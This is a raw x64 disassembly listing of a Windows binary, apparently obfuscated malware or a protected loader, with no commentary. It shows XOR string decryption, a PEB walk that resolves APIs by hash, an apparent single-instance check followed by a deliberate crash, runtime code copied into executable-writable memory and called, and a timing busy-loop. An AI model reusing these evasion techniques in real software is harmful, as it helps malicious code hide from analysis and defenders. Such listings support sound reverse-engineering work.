movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad0e0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad1a0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a97f8]
pxor xmm3, xmm0
movd dword [rsp + 0xb0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xb4]
pxor xmm3, xmm1
movd dword [rsp + 0xb4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xb0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14024dc70
xorps xmm0, xmm0
movups xmmword [rsp + 0x398], xmm0
mov qword [rsp + 0x3a8], rdi
mov qword [rsp + 0x3b0], rdi
lea rax, [rsp + 0xb0]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14024dcf0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x398]
call fcn.14021d330
lea rcx, [rsp + 0x398]
call fcn.140210b20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edx, dword [rcx + r9 + 0x88]
add rdx, r9
mov qword [rsp + 0x48], rdx
cmp rdx, r9
je 0x140253e62
mov r10d, dword [rdx + 0x18]
test r10d, r10d
je 0x140253e62
mov edx, dword [rdx + 0x20]
mov qword [rsp + 0x50], rdx
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0x42f80e5b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140253e54
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14024dda0
cmp r8d, 0xe07a714d
jne 0x140253e54
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 0x1c]
add rcx, r9
mov eax, dword [rax + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x14024ddf7
mov qword [0], rdi
jmp 0x140253c6c
movups xmm0, xmmword [0x1402a9f38]
movups xmmword [rsp + 0x408], xmm0
movups xmm1, xmmword [0x1402a9f48]
movups xmmword [rsp + 0x418], xmm1
movups xmm0, xmmword [0x1402a9f58]
movups xmmword [rsp + 0x428], xmm0
mov eax, dword [0x1402a9f68]
mov dword [rsp + 0x438], eax
movzx eax, word [0x1402a9f6c]
mov word [rsp + 0x43c], ax
mov r9d, edi
cmp r13d, 2
jl 0x14024e065
movd xmm6, ebx
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x40c]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14024de70
cmp r9d, 0x36
jge 0x14024e0d7
movsxd rax, r9d
lea r10, [rsp + 0x408]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x36
jl 0x14024e080
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b8], xmm0
mov qword [rsp + 0x3c8], rdi
mov qword [rsp + 0x3d0], rdi
lea rax, [rsp + 0x408]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14024e100
lea rdx, [rsp + 0x408]
lea rcx, [rsp + 0x3b8]
call fcn.14021d330
lea rcx, [rsp + 0x3b8]
call fcn.140210b20
xorps xmm0, xmm0
movups xmmword [rsp + 0xc60], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xc68], r15
mov qword [rsp + 0xc70], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xc60], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
lea r13, [0x14025bc80]
test rax, rax
je 0x14024e1a1
mov rdx, rdi
cmp rax, r13
je 0x14024e190
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x14024e178
jmp 0x14024e1a1
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x14024e28f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14024e1c8
mov rdx, rdi
jmp 0x14024e26e
mov rax, r13
mov rcx, rdx
mov r8d, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14024e1e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x14021fb00]
call rdx
nop
xor rbx, r15
mov qword [rsp + 0xc60], rbx
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0xca8], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xcb0], r15
mov qword [rsp + 0xcb8], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xca8], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
test rax, rax
je 0x14024e31d
mov rdx, rdi
cmp rax, r13
je 0x14024e30c
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x14024e2f4
jmp 0x14024e31d
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x14024e3ff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14024e344
mov rdx, rdi
jmp 0x14024e3de
mov rax, r13
mov rcx, rdx
mov r8d, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14024e350
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x1402179b0]
call rdx
nop
xor rbx, r15
mov qword [rsp + 0xca8], rbx
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x8484], 0xffffffff
mov dword [rsp + 0x7104], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x7104], eax
inc rdx
cmp rdx, 0x270
jb 0x14024e440
mov dword [rsp + 0x7100], 0x270
mov dword [rsp + 0x40], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024e48f
imul rax, rax, 0x64
jmp 0x14024e4aa
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0x48], rax
mov r12, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024e4d6
imul rax, rax, 0x64
jmp 0x14024e4f1
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x14024e6cf
mov qword [rsp + 0x50], 0x186a0
mov r12d, 1
nop dword [rax]
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024e54b
nop dword [rax + rax]
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024e530
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea ebx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14024e5ab
cmp eax, 0x64
jae 0x14024e5ab
nop dword [rax]
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024e590
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14024e60c
cmp eax, 0x64
jae 0x14024e60c
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024e5f1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r14]
lea edx, [rcx - 0x80000000]
cmp ecx, r14d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14024e67e
cmp eax, 0x64
jae 0x14024e67e
nop word [rax + rax]
lea rcx, [rsp + 0x7100]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14024e660
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r12
jne 0x14024e510
mov r12, qword [rsp + 0x48]
jmp 0x14024e4b8
mov eax, dword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0xc90], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xc98], r15
mov qword [rsp + 0xca0], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xc90], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
test rax, rax
mov r12, 0xffffffffffffffff
je 0x14024e749
mov rdx, rdi
nop
cmp rax, r13
je 0x14024e738
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x14024e720
jmp 0x14024e749
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x14024e82f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14024e770
mov rdx, rdi
jmp 0x14024e80e
mov rax, r13
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14024e780
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d28]
mov qword [rsi + rax*8 + 0x2c3060], r13
mov qword [rsi + rax*8 + 0x2c5000], rdx
inc rax
mov qword [0x1402c3d28], rax
lea rcx, [0x14020a3e0]
call rdx
nop
xor rbx, r15
mov qword [rsp + 0xc90], rbx
lea rax, [rsp + 0xac48]
mov qword [rax], rbx
movups xmm0, xmmword [0x1402a96b0]
movups xmmword [rsp + 0x3d8], xmm0
movups xmm1, xmmword [0x1402a96c0]
movups xmmword [rsp + 0x3e8], xmm1
movsd xmm0, qword [0x1402a96d0]
movsd qword [rsp + 0x3f8], xmm0
mov eax, dword [0x1402a96d8]
mov dword [rsp + 0x400], eax
mov r9d, edi
cmp dword [0x1402bd008], 2
jl 0x14024eab8
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x3dc]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402ad190]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1402ad180]
pmuldq xmm1, xmmword [0x1402ad180]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14024e8c3
cmp r9d, 0x2c
jge 0x14024eb27
movsxd rax, r9d
lea r10, [rsp + 0x3d8]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x14024ead0
xorps xmm0, xmm0
movups xmmword [rsp + 0x278], xmm0
mov qword [rsp + 0x288], rdi
mov qword [rsp + 0x290], rdi
lea rax, [rsp + 0x3d8]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14024eb50
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x278]
call fcn.14021d330
lea rcx, [rsp + 0x278]
call fcn.140210b20
xorps xmm0, xmm0
movups xmmword [rsp + 0xc78], xmm0
lea rax, [rsp + 0xac48]
mov qword [rsp + 0xc80], r15
mov qword [rsp + 0xc88], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rsp + 0xc78], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x1402c3060]
test rax, rax
je 0x14024ebea
mov rdx, rdi
cmp rax, r13
je 0x14024ebd9
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c3060]
test rax, rax
jne 0x14024ebc1
jmp 0x14024ebea
mov rdx, qword [rsi + rdx*8 + 0x2c5000]
test rdx, rdx
jne 0x14024eccf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14024ec11
mov rdx, rdi
jmp 0x14024ecae
mov rax, r13
mov rcx, rdx
mov r8d, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14024ec20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
